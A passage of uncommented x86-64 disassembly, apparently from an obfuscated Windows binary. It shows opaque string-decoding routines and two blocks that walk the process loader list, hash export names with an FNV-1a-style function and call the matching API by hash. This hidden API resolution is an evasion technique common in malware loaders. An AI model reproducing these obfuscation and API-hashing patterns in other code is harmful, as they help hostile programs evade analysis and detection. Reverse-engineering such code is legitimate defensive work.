add r11b, dl
inc rdi
jmp 0x1400bf042
movzx eax, bl
movabs rcx, 0x7e3fdc905c82a880
add rcx, rdi
inc r9
and al, cl
dec rdi
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x80
inc rdi
jmp 0x1400bf042
movabs rdx, 0xb76c6f7b7f6e0a10
movzx eax, bl
add rdx, rdi
movzx r11d, bl
and al, dl
add al, al
sub r11b, al
sub r11b, 0x70
add r11b, dl
jmp 0x1400bfb1b
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x1400bf6f5
lea rdx, [rdi + r12]
movzx eax, bl
and al, dl
mov ecx, 0x3c
jmp 0x1400bf55e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bf72f
movzx eax, bl
movabs rcx, 0x4f57f2b622b0ff30
add rcx, rdi
and al, cl
add al, al
sub bl, al
movzx eax, byte [rbp + rdi - 0x10]
add rax, r9
add rdi, rax
lea r11d, [rcx + rbx]
sub r11b, 0x50
inc rdi
jmp 0x1400bf042
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bf75c
movabs rdx, 0xdcfeccdfdcda3c10
movzx eax, bl
add rdx, rdi
movzx r11d, bl
and al, dl
add al, al
sub r11b, al
sub r11b, 0x70
jmp 0x1400bfbd5
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400bf78d
movabs rdx, 0x3179141e74181760
add rdx, rdi
mov ecx, 0x30
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400bfb6f
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400bf56a
mov ecx, 0x18
movabs rdx, 0x85f35b5d0b55f2b0
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400bfb1b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bf7ee
movabs rcx, 0xf703ec1134097ec8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x78
jmp 0x1400bfb1b
inc rax
cmp r8, rax
jne 0x1400bf824
mov ecx, 0x34
movabs rdx, 0x84aac63aee32bba8
add rdx, rdi
dec rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x1400bf042
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400bf855
mov ecx, 0x1c
movabs rdx, 0xd9250d79857096f8
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400bfb98
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400bf886
mov ecx, 0x14
movabs rdx, 0x9ff87a8e62853568
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400bfbd8
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400bf508
mov ecx, 4
movabs rdx, 0x2d9f54b81cae7248
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + rdi - 0x10]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x1400bf042
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400bf908
mov ecx, 0x30
movabs rdx, 0x9eafe56c4561fe60
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + rdi - 0x10]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x1400bf042
inc rax
cmp r8, rax
jne 0x1400bf938
mov ecx, 0x28
movabs rdx, 0x6583528122769cd0
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400bfc07
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400bf969
mov ecx, 0x18
movabs rdx, 0xf32a2caadc9fd9b0
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400bfb98
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400bf986
movabs rdx, 0x80d106d496c91690
mov ecx, 8
jmp 0x1400bfb5b
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400bf9bb
movabs rcx, 0xe77e0fe50f25370
inc r9
add rcx, rdi
dec rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
inc rdi
jmp 0x1400bf042
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400bf4b7
movabs rcx, 0xd54b4e132e06f1e0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
jmp 0x1400bfb1b
movzx r11d, byte [rbp + rdi - 0x10]
movabs rdx, 0x62f2283ce8302ec0
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
sub r11b, al
sub r11b, 0x40
jmp 0x1400bfb69
movabs rdx, 0x29c59551c544cd30
add rdx, rdi
movzx eax, dl
and al, bl
movzx eax, al
imul r11d, eax, 0xfe
sub r11b, byte [rbp + rdi - 0x10]
sub r11b, 0x50
add r11b, dl
add r11b, bl
jmp 0x1400bfbd8
mov ecx, 0x34
movabs rdx, 0x1773f4ed1ce8d4a8
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400bfbd8
mov ecx, 0x3c
movabs rdx, 0x50a087d83fd43638
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400bfb98
movabs rcx, 0x89cd1ac362bf97c8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x78
jmp 0x1400bfb95
movabs rcx, 0xfc264099a8965ae8
add rcx, rdi
dec rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x58
inc rdi
jmp 0x1400bf042
movabs rcx, 0x6e7f666fee6d1e08
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x38
jmp 0x1400bfb1b
movabs rcx, 0xe0d88c463443e128
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x18
movabs rdx, 0x7f8871b279a5df88
mov ecx, 0x24
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi - 0x10], cl
inc r9
dec rdi
inc rdi
jmp 0x1400bf042
movabs rdx, 0x8c5e45079d0605d8
mov ecx, 0xc
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rcx, 0x465bdec756ba7df8
mov edx, 0x1c
add rcx, rdi
movzx eax, cl
and al, bl
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
add dl, bl
mov byte [rbp + rdi - 0x10], dl
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400bf042
mov ecx, 0x24
movabs rdx, 0x37e3fdc905c82a88
add rdx, rdi
mov rbx, r10
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, bl
inc r9
movabs rdx, 0xd2f4bdc33cf1c68
mov ecx, 0x14
add rdx, rdi
and al, dl
sub cl, al
add cl, cl
add cl, bl
add cl, dl
movzx eax, cl
mov byte [rbp + rdi - 0x10], al
add rax, r9
sub rdi, rax
movzx eax, bl
inc r8
movabs rcx, 0xf0990266a2596ba0
add rcx, rdi
and al, cl
add al, al
sub bl, al
mov rax, 0xffffffffffffffff
sub rax, r8
sub bl, 0x60
add bl, cl
mov byte [rbp + rdi - 0x10], bl
add rdi, rax
movzx eax, byte [rbp + rdi - 0x10]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bf042
mov ecx, 0x34
movabs rdx, 0xaa3d239f4b9eeda8
add rdx, rdi
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi - 0x10]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400bf042
mov ecx, 0x2c
movabs rdx, 0x25ebd5eb6ddb2818
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400bf040
mov ecx, 0x34
movabs rdx, 0x5f1868d690c689a8
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400bf030
lea rdi, [rbp + 0x16d3990]
jmp 0x1400bfce6
lea rdi, [rbp + 0x7788c8]
jmp 0x1400bfce6
lea rdi, [rbp - 0x10]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x1400bfd75
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400bfd75
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x43e1d058
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400bfd70
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x1400bfd50
cmp edx, 0xf33cf91a
je 0x1400bfd7a
test r9d, r9d
jne 0x1400bfd30
mov rax, qword [rax]
jmp 0x1400bfd00
mov edx, dword [r11 + 0x24]
mov rcx, rdi
mov r8d, dword [r11 + 0x1c]
add rdx, r10
add r8, r10
movzx edx, word [rdx + r9*2]
mov eax, dword [r8 + rdx*4]
add rax, r10
call rax
movzx ebx, byte [rsp + 0x38]
xor eax, eax
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x1c], xmm0
mov word [rbp + 0x2c], ax
mov dword [rbp + 0x10], 0xb7afada3
mov dword [rbp + 0x14], 0x9d9e9cb6
mov dword [rbp + 0x18], 0x43d0d1aa
mov r9, qword [0x1402ed240]
mov r8, qword [0x1402ed238]
xor r11d, r11d
cmp r11, 0x1e
jae 0x1400c0917
movzx r10d, byte [rbp + r11 + 0x10]
mov rdi, r10
cmp r9, r11
ja 0x1400c090e
lea rax, [r8 + 1]
cmp r9, rax
jae 0x1400bfe14
lea rcx, [r11 + 0x68d]
mov rax, r10
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r10
add rbx, rcx
add bl, 0x25
jmp 0x1400bfe41
je 0x1400c089d
lea rax, [r8 + 2]
cmp r9, rax
je 0x1400c0813
lea rax, [r8 + 3]
cmp r9, rax
je 0x1400c07df
lea rax, [r8 + 5]
cmp r9, rax
je 0x1400c07bb
cmp r8, r11
ja 0x1400c0905
lea rax, [r8 + 0x80]
cmp r9, rax
jae 0x1400bfe72
lea rdx, [r11 + 0x8991]
movzx eax, r10b
and al, dl
movzx ebx, r10b
add al, al
sub bl, al
add bl, 9
add bl, dl
jmp 0x1400bfeb0
lea rax, [r8 + 1]
cmp r9, rax
je 0x1400c0775
lea rax, [r8 + 3]
cmp r9, rax
je 0x1400c0758
lea rax, [r8 + 5]
cmp r9, rax
je 0x1400c073b
lea rax, [r8 + 2]
cmp r9, rax
je 0x1400c071e
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x1400c0445
nop dword [rax]
lea rax, [r8 + 0x400]
cmp r9, rax
je 0x1400c0428
lea rax, [r8 + 0x41]
cmp r9, rax
je 0x1400c03fe
lea rax, [r8 + 2]
cmp r9, rax
je 0x1400c03d7
lea rax, [r8 + 6]
cmp r9, rax
je 0x1400c03ba
lea rax, [r8 + 0x10]
cmp r9, rax
je 0x1400c0399
lea rax, [r8 + 0x42]
cmp r9, rax
je 0x1400c0378
lea rax, [r8 + 0x3e8]
cmp r9, rax
je 0x1400c035b
lea rax, [r8 + 0x7a]
cmp r9, rax
je 0x1400c033e
lea rax, [r8 + 1]
cmp r9, rax
je 0x1400c030e
lea rax, [r8 + 5]
cmp r9, rax
je 0x1400bfec0
lea r9, [r8 + 8]
lea r8, [r9 + 0xa]
lea rax, [r8 + 0x20]
cmp r9, rax
jb 0x1400c08e7
lea rax, [r8 + 0x64]
cmp r9, rax
jb 0x1400c08c9
lea rax, [r8 + 0x400]
cmp r9, rax
jb 0x1400c00b2
lea rax, [r8 + 0x41]
cmp r9, rax
jb 0x1400c0093
lea rax, [r8 + 2]
cmp r9, rax
jb 0x1400c0074
lea rax, [r8 + 6]
cmp r9, rax
jb 0x1400c02ba
lea rax, [r8 + 0x10]
cmp r9, rax
jb 0x1400c026f
lea rax, [r8 + 0x42]
cmp r9, rax
jb 0x1400c022c
lea rax, [r8 + 0x3e8]
cmp r9, rax
jb 0x1400c0206
lea rax, [r8 + 0x7a]
cmp r9, rax
jb 0x1400bfec0
lea r9, [r8 + 0x5a]
lea r8, [r9 + 1]
lea rax, [r8 + 3]
cmp r9, rax
ja 0x1400c01d9
lea rax, [r8 + 8]
cmp r9, rax
ja 0x1400c01b8
lea rax, [r8 + 0x20]
cmp r9, rax
ja 0x1400c019b
lea rax, [r8 + 0x64]
cmp r9, rax
ja 0x1400c017d
lea rax, [r8 + 0x400]
cmp r9, rax
ja 0x1400c015c
lea rax, [r8 + 0x41]
cmp r9, rax
ja 0x1400c013b
lea rax, [r8 + 2]
cmp r9, rax
ja 0x1400c0117
lea rax, [r8 + 6]
cmp r9, rax
ja 0x1400c00f0
lea rax, [r8 + 0x10]
cmp r9, rax
ja 0x1400c00d1
lea rax, [r8 + 0x42]
cmp r9, rax
ja 0x1400bfec0
lea r9, [r8 + 0x80]
lea r8, [r9 + 0x3e8]
jmp 0x1400bfec0
lea rdx, [r11 + 0x38e8f]
movzx eax, r10b
and al, dl
movzx ebx, r10b
add al, al
sub bl, al
add bl, 0x17
add bl, dl
jmp 0x1400bfeb0
lea rdx, [r11 + 0x38175]
movzx eax, r10b
and al, dl
movzx ebx, r10b
add al, al
sub bl, al
sub bl, 0x33
add bl, dl
jmp 0x1400bfe41
lea rdx, [r11 + 0x3745b]
movzx eax, r10b
and al, dl
movzx ebx, r10b
add al, al
sub bl, al
sub bl, 0x7d
add bl, dl
jmp 0x1400bfde3
mov ecx, 0x24
lea rdx, [r11 + 0x44c88]
movzx eax, r10b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x1400c078d
lea rcx, [r11 + 0x43f6e]
movzx eax, r10b
and al, cl
inc r8
add al, al
dec r11
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 2
inc r11
jmp 0x1400bfdd3
lea rcx, [r11 + 0x43254]
movzx eax, r10b
and al, cl
dec r11
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x4c
inc r11
jmp 0x1400bfdd3
lea rdx, [r11 + 0x4253a]
mov ecx, 0x35
movzx eax, r10b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c06d2
lea rdx, [r11 + 0x41820]
mov ecx, 0x10
movzx eax, r10b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c07f8
lea rcx, [r11 + 0x40b06]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x2a
jmp 0x1400c07fb
lea rdx, [r11 + 0x3fdec]
movzx eax, r10b
and al, dl
movzx ebx, r10b
add al, al
sub bl, al
sub bl, 0x74
jmp 0x1400c082e
lea rdx, [r11 + 0x3f0d2]
mov ecx, 0x21
movzx eax, r10b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c085b
lea rcx, [r11 + 0x3e3b8]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
movzx eax, byte [rbp + r11 + 0x10]
add rax, r8
add r11, rax
lea ebx, [rcx + r10]
sub bl, 8
inc r11
jmp 0x1400bfdd3
lea rcx, [r11 + 0x3c2f7]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
add bl, 0x3f
mov byte [rbp + r11 + 0x10], bl
inc r11
jmp 0x1400bfdd3
lea rdx, [r11 + 0x3b5dd]
movzx eax, r10b
and al, dl
movzx ebx, r10b
add al, al
sub bl, al
sub bl, 0xb
add bl, dl
cmp r8, 3
jb 0x1400c021f
lea rcx, [r11 + 0x29c2e]
mov edx, 0x1f
movzx eax, cl
and al, r10b
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea ebx, [rdx + rdx]
jmp 0x1400c078f
lea rdx, [r11 + 0x3a8c3]
movzx eax, r10b
and al, dl
movzx ebx, r10b
add al, al
sub bl, al
sub bl, 0x55
add bl, dl
cmp r9, 0x20
jae 0x1400c06b1
lea rax, [r8 + 0x40]
cmp r9, rax
jbe 0x1400c05f5
lea rdx, [r11 + 0x2192a]
movzx eax, r10b
and al, dl
movzx ebx, r10b
add al, al
sub bl, al
sub bl, 0x26
jmp 0x1400c0244
lea rdx, [r11 + 0x39ba9]
movzx eax, r10b
and al, dl
movzx ebx, r10b
add al, al
sub bl, al
add bl, 0x61
add bl, dl
lea rax, [r9 + r8]
cmp rax, 0x400
je 0x1400c06f8
lea rax, [r8 + 0x61]
cmp r9, rax
jbe 0x1400c0521
lea rdx, [r11 + 0x18f99]
movzx eax, r10b
and al, dl
movzx ebx, r10b
add al, al
sub bl, al
sub bl, 0x2f
jmp 0x1400c0287
lea rdx, [r11 + 0x33966]
movzx eax, r10b
and al, dl
mov ecx, 0x1b
sub cl, al
movzx eax, byte [rbp + r11 + 0x10]
add rax, r8
add r11, rax
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
inc r11
jmp 0x1400bfdd3
lea rcx, [r11 + 0x32c4c]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x14
jmp 0x1400c085b
lea rdx, [r11 + 0x31f32]
movzx eax, r10b
and al, dl
movzx ebx, r10b
add al, al
sub bl, al
sub bl, 0x5e
jmp 0x1400c082e
lea rdx, [r11 + 0x31218]
mov ecx, 0x2c
movzx eax, r10b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c07fb
lea rdx, [r11 + 0x304fe]
mov ecx, 7
movzx eax, r10b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c07f8
lea rcx, [r11 + 0x2f7e4]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x3c
jmp 0x1400c06d2
lea rdx, [r11 + 0x2eaca]
mov ecx, 0x3d
movzx eax, r10b
dec r11
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
inc r11
jmp 0x1400bfdd3
lea rdx, [r11 + 0x2ddb0]
mov ecx, 0x18
movzx eax, r10b
inc r8
and al, dl
dec r11
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
inc r11
jmp 0x1400bfdd3
lea rdx, [r11 + 0x2d096]
movzx eax, r10b
and al, dl
movzx ebx, r10b
add al, al
sub bl, al
sub bl, 0x1a
jmp 0x1400c078d
lea rax, [r8 + 6]
cmp r9, rax
jae 0x1400c046b
lea rdx, [r11 + 0x68d]
movzx eax, r10b
and al, dl
movzx ebx, r10b
add al, al
sub bl, al
add bl, 0x25
jmp 0x1400c02d2
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1400c04a4
lea rdx, [r11 + 0x11322]
movzx eax, r10b
and al, dl
mov ecx, 9
sub cl, al
movzx eax, byte [rbp + r11 + 0x10]
add rax, r8
add r11, rax
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
inc r11
jmp 0x1400bfdd3
lea rax, [r8 + 3]
cmp r9, rax
jne 0x1400c04ca
lea rcx, [r11 + 0x12d56]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x5a
jmp 0x1400c0830
lea rax, [r8 + 4]
cmp r9, rax
jne 0x1400c04f0
lea rcx, [r11 + 0x154a4]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x7c
jmp 0x1400c06d2
lea rax, [r8 + 2]
cmp r9, rax
jne 0x1400c02d4
lea rcx, [r11 + 0x161be]
movzx eax, r10b
and al, cl
dec r11
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x32
inc r11
jmp 0x1400bfdd3
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1400c0547
lea rcx, [r11 + 0x19cb3]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x1b
jmp 0x1400c078f
lea rax, [r8 + 4]
cmp r9, rax
jne 0x1400c056e
lea rcx, [r11 + 0x1d11b]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
add bl, 0x43
jmp 0x1400c07f8
lea rax, [r8 + 5]
cmp r9, rax
jne 0x1400c0595
lea rcx, [r11 + 0x1de35]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x73
jmp 0x1400c07fb
lea rax, [r8 + 7]
cmp r9, rax
jne 0x1400c05bb
lea rdx, [r11 + 0x1eb4f]
movzx eax, r10b
and al, dl
movzx ebx, r10b
add al, al
sub bl, al
sub bl, 0x29
jmp 0x1400c082e
lea rax, [r8 + 9]
cmp r9, rax
jne 0x1400c0289
lea rcx, [r11 + 0x20583]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
movzx eax, byte [rbp + r11 + 0x10]
add rax, r8
add r11, rax
lea ebx, [rcx + r10]
add bl, 0x6b
inc r11
jmp 0x1400bfdd3
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1400c062e
lea rdx, [r11 + 0x22644]
movzx eax, r10b
and al, dl
mov ecx, 0x12
sub cl, al
movzx eax, byte [rbp + r11 + 0x10]
add rax, r8
add r11, rax
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
inc r11
jmp 0x1400bfdd3
inc rax
cmp r9, rax
jne 0x1400c0657
lea rdx, [r11 + 0x2335e]
mov ecx, 0x37
movzx eax, r10b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400c085b
lea rax, [r8 + 5]
cmp r9, rax
jne 0x1400c0681
lea rdx, [r11 + 0x25aac]
mov ecx, 0x26
movzx eax, dl
and al, r10b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1400c07f8
lea rax, [r8 + 3]
cmp r9, rax
jne 0x1400c0246
lea rcx, [r11 + 0x274e0]
dec r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x20
inc r11
jmp 0x1400bfdd3
lea rdx, [r11 + 0x2a948]
mov ecx, 4
movzx eax, dl
and al, r10b
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r11 + 0x10]
add bl, dl
add bl, r10b
lea rdx, [r11 + 0x2afd5]
movzx eax, r10b
and al, dl
movzx ecx, bl
add al, al
sub cl, al
add cl, 0x2d
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0x10], cl
jmp 0x1400c07f8
lea rdx, [r11 + 0x2b662]
mov ecx, 0x29
movzx eax, dl
and al, r10b
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r11 + 0x10]
add bl, dl
add bl, r10b
jmp 0x1400c0830
lea rcx, [r11 + 0xf261]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x59
jmp 0x1400c085b
lea rcx, [r11 + 0xd82d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x3b
jmp 0x1400c07fb
lea rcx, [r11 + 0xcb13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x7b
jmp 0x1400c07f8
lea rdx, [r11 + 0x96ab]
movzx eax, r10b
and al, dl
movzx ebx, r10b
add al, al
sub bl, al
add bl, 0x53
add bl, dl
movzx eax, r10b
lea rcx, [r11 + 0x2a2bb]
and al, cl
add al, al
sub r10b, al
sub r10b, 0x1d
add r10b, cl
mov byte [rbp + r11 + 0x10], r10b
inc r8
dec r11
inc r11
jmp 0x1400bfdd3
lea rcx, [r11 + 0x6243]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
add bl, 0x2b
dec r11
inc r11
jmp 0x1400bfdd3
lea rcx, [r11 + 0x480f]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x69
add r9, r8
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400bfdd3
lea rdx, [r11 + 0x2ddb]
movzx ebx, dil
movzx eax, dl
mov r10, rdi
and al, dil
add al, al
sub bl, al
add bl, 3
add bl, dl
lea rdx, [r11 + 0x2bcef]
movzx eax, r10b
and al, dl
inc r8
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x77
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0x10], al
add rax, r8
sub r11, rax
lea rcx, [r11 + 0x2c37c]
movzx eax, r10b
and al, cl
inc r9
add al, al
sub r10b, al
mov rax, 0xffffffffffffffff
sub rax, r9
sub r10b, 0x64
add r10b, cl
mov byte [rbp + r11 + 0x10], r10b
add r11, rax
movzx eax, byte [rbp + r11 + 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x1400bfdd3
lea rcx, [r11 + 0x13a7]
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea ebx, [rcx + rdi]
add bl, 0x6f
movzx eax, byte [rbp + r11 + 0x10]
add rax, r8
add r11, rax
inc r11
jmp 0x1400bfdd3
lea rcx, [r11 + 0x36741]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
add bl, 0x39
jmp 0x1400bfdd0
lea rcx, [r11 + 0x35a27]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x11
jmp 0x1400bfdc2
lea rdi, [rbp + 0x14466cc]
jmp 0x1400c091b
lea rdi, [rbp + 0x446d59]
jmp 0x1400c091b
lea rdi, [rbp + 0x10]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x1400c09a5
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400c09a5
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
mov edx, 0x136974b7
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400c09a0
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x1400c0980
cmp edx, 0x500f12a9
je 0x1400c09aa
test r9d, r9d
jne 0x1400c0960
mov rax, qword [rax]
jmp 0x1400c0930
mov edx, dword [r11 + 0x24]
mov rcx, rdi
mov r8d, dword [r11 + 0x1c]
add rdx, r10
add r8, r10
movzx edx, word [rdx + r9*2]
mov eax, dword [r8 + rdx*4]
add rax, r10
call rax
movzx r11d, byte [rsp + 0x38]
xor eax, eax
mov word [rsp + 0x7d], ax
movabs rsi, 0xac5fa38214f51123
mov byte [rsp + 0x7f], al
movabs r12, 0xfc048de19f796257
mov dword [rsp + 0x70], 0x988e9df5
movabs r14, 0xd679098196e8653d
mov dword [rsp + 0x74], 0xcdc9968a
movabs r15, 0xde6fedbe57f5a08f
mov dword [rsp + 0x78], 0xafaca5d0
movabs r13, 0xe666d1fb1902dbe1
mov byte [rsp + 0x7c], 2
nop dword [rax]
mov r8, qword [0x1402ed240]
mov r9, qword [0x1402ed238]
nop
xor edi, edi
cmp rdi, 0x10
jae 0x1400c17fc
movzx ebx, byte [rsp + rdi + 0x70]
mov r10, rbx
cmp r8, rdi
ja 0x1400c17f3
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c0a80
lea rcx, [rdi + r12]
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
sub r11b, 0x61
jmp 0x1400c0ac6
je 0x1400c1772
inc rax
cmp r8, rax
je 0x1400c1706
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c16cc
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c1686
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c165a
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c160b
cmp r9, rdi
